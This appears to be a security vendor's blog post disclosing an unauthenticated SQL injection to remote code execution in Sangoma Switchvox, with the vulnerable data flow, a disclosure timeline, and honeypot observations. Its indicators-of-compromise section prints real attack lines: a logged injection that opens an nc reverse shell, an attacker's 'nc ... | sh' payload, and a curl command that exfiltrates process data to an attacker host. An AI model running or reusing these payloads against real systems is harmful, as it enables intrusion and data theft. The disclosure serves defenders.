Off the Hook: Discovering and Observing Active Exploitation of Sangoma Switchvox CVE-2026-9586

At Horizon3, we’re constantly looking for technologies and applications to perform security audits on that we believe may be targeted by threat actors. In April of 2026, we took a look at the Sangoma ecosystem after several FreeBPX vulnerabilities, CVE-2025-57819 and CVE-2025-64328, landed on the CISA Known Exploited Vulnerabilities (KEV) catalog.

One such application we landed on was Sangoma Switchvox. Switchvox is an enterprise VoIP telephony management solution. It allows organizations to easily configure phone systems to include voicemail, call forwarding, and monitoring and analytics across their enterprise.

In total, we reported 12 distinct vulnerabilities in the Switchvox product which have now been patched – the most impactful being an unauthenticated SQL injection leading to remote code execution. This vulnerability was assigned as CVE-2026-9586 and was patched in Switchvox 8.4.0.2. This blog will cover only CVE-2026-9586 given that we have now observed valid exploitation attempts in the wild.

Figure 1. Defused Switchvox Tripwire Tripped 

CVE-2026-9586: Unauthenticated SQL Injection to Remote Code Execution

One of the features of the Switchvox is to allow supported phones to receive notifications for various events like incoming or outgoing calls. The Switchvox application exposes an unauthenticated HTTP endpoint, /pa, and is handled by the PhoneAppsHandler.pm class. 

Of note, Sangoma PHP-based files are obfuscated to some degree, which we discovered after our autonomous vulnerability research system initially flagged this vulnerability – but an agent had automatically de-obfuscated the source code.

Figure 2. Switchvox Obfuscated PHP Handler

Taking a look at the vulnerabilities source, when this endpoint receives a request to notify another phone system, it parses an XML message containing specific key-value pairs. The PhoneIP field extracted directly from the XML message and directly concatenated into an unparameterized SQL query.

Figure 3. tel_notify() SQL injection sink 

The full data flow in PhoneAppsHandler.pm:

1. pre_cmd() line 70: POST body read from POSTDATA CGI parameter
2. pre_cmd() line 74: Validated only that body starts with <PolycomIPPhone> – no content sanitization
3. pre_cmd() line 78: Stored as notification_xml, command set to tel_notify
4. tel_notify() line 180: XML parsed via XML::Simple::XMLin() – returns untrusted data structure
5. tel_notify() line 199/210: PhoneIP extracted from parsed XML – NO VALIDATION
6. tel_notify() lines 220-225: PhoneIP concatenated directly into SQL string (single-quoted context)
7. tel_notify() line 226: $db->query(“sql”, $sql) executes the injected payload as PostgreSQL superuser

An simple curl based exploit can be crafted like so:

Figure 4. Example Exploit

And to receive a reverse shell:

Figure 5. Reverse shell

Indicators of Compromise

If SSH access is possible for the device, evidence of the SQL injection payload used can be observed in /var/log/switchvox/db-quirks.log.

Figure 6. Example exploit attempt log in db-quirks.log

An example excerpt from the above exploitation attempt:

SQL: SELECT proposed_extension FROM auto_phone_config WHERE ip_address = ‘10.0.0.1’; COPY (SELECT ”) TO PROGRAM ‘nc 10.0.18.42 4444 -e /bin/bash > /tmp/0d012120ab00297d.txt 2>&1; chmod 644 /tmp/0d012120ab00297d.txt’–‘ AND config_state = ‘configured’

In the Defused Cyber honeypot, the attacker used an initial payload of:

nc 176.65.148.184 39323 | sh

Notably, you should investigate if the attacker IP of 176.65.148.184 has been observed in any network requests related to the Switchvox device.

But soon followed it up with an enumeration command to curl a remote server and exfiltrate the top running processes on the Switchvox:

curl -m 10 http://<ATTACKER_IP>/<UNIQUE_EXPLOIT_ATTEMPT_ID>_$({ echo dG9wIC1ibjEgfCBhd2sgJy9eICpQSUQvIHtnZXRsaW5lOyBwcmludCAkMSwgJDEyLCAkOX0n | base64 -d | bash; } | base64 -w0)

Where the base64 decodes to:

top -bn1 | awk ‘/^ *PID/ {getline; print $1, $12, $9}’

Figure 7. Exploitation across multiple honeypots from same attacker IP

Given the quick succession of exploit attempts across multiple honeypots from the same source IP, we believe that it is likely that most internet exposed Switchvox instances will be or have already been targeted. 

Currently Shodan shows that there are approximately 4,000 devices on the internet, with most located within the United States.

Figure 8. Shodan instances

Timeline

• 10 April 2026 – Horizon3 reports issues to Sangoma via Github Issues
• 10 April 2026 – Sangoma acknowledges receipt
• 21 April 2026 – Sangoma patches issues in pre-release build for us to validate
• 8 May 2026 – Deployed internet honeypots in coordination with Defused Cyber to monitor for 0-day exploitation
• 11 May 2026 – SRA also independently reports issues
• 14 July 2026 – Sangoma releases Switchvox 8.4.0.2 to patch vulnerabilities
• 17 July 2026 – SRA publishes vulnerability advisory detailing their independent findings
• 30 August 2026 – Defused Cyber honeypots trip with valid exploitation attempt
• 1 September 2026 – This blog post

Figure 9. Dated disclosure report